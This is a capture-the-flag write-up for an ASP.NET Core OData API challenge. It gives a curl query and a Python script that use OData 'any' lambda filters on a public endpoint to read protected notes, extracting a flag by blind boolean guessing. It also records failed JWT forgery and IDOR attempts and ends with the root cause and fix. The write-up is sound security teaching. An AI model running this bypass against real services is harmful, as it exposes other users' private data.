Challenge Overview

Target: ASP.NET Core REST API with Microsoft OData Flag: dach2026{n0_r3st_f0r_th3_m1cr0s0ft_d3v5_97caaa559b75}

Reconnaissance

Swagger spec at /swagger/v1/swagger.json revealed:

  • POST /auth/register and POST /auth/login — JWT auth
  • GET /odata/Dinosaur — public
  • GET /odata/Scientist — public
  • GET/POST /odata/Note — JWT-protected

OData metadata showed:

Scientist → NavigationProperty "Notes" → Collection(Note)
Note → NavigationProperty "Scientist" (with ScientistId FK)

Initial Access

Registered an account. JWT showed user was assigned Scientist ID 4. Pre-seeded scientists: Alan Grant (1), Ellie Sattler (2), Robert Muldoon (3).

Failed Approaches

  • /odata/Note — returned empty array (filtered by JWT user ID)
  • IDOR by Note ID (1–50) — all 404
  • JWT forgery — alg:none rejected; secret not in rockyou
  • $expand=Notes on Scientist — blocked by OData validator
  • Navigation path /odata/Scientist(1)/Notes — still auth-filtered

The Vulnerability: OData Lambda Filter IDOR

The key insight: use OData’s lambda operator (any) on the public Scientist endpoint to query across the Notes navigation property — completely bypassing the Note controller’s authorization filter:

curl "$TARGET/odata/Scientist?\$filter=Notes/any(n:contains(n/Content,'dach'))"
# → Returns: Ellie Sattler (Id: 2)

The Scientist endpoint is public and its $filter is unsanitized. The Notes/any(...) lambda traverses the navigation property into the Note table without going through the Note controller — bypassing JWT ownership checks entirely.

Flag Extraction: Blind Boolean Injection

With the oracle confirmed, extracted character by character using startswith:

import requests, string

BASE = "https://6f0abad6-...challs.qualifier.swiss-hacking-challenge.ch:1337"
CHARS = string.ascii_lowercase + string.digits + "_-{}!" + string.ascii_uppercase
flag = "dach2026{"

while True:
    found = False
    for c in CHARS:
        test = flag + c
        params = {"$filter": f"Notes/any(n:startswith(n/Content,'{test}'))"}
        r = requests.get(f"{BASE}/odata/Scientist", params=params, verify=False)
        if "Ellie" in r.text:
            flag += c
            print(f"[+] {flag}", flush=True)
            found = True
            if c == '}':
                print(f"\n[!!!] FLAG: {flag}")
                exit()
            break
    if not found:
        break

Flag extracted in ~50 requests.

Flag: dach2026{n0_r3st_f0r_th3_m1cr0s0ft_d3v5_97caaa559b75}

Root Cause

The developers correctly protected /odata/Note with JWT ownership filtering but forgot that OData lambda expressions on related public entities can traverse into protected data without going through the protected controller.

Fix: Disable Notes navigation on the public Scientist $filter, or apply row-level security at the EF Core query level rather than the controller level.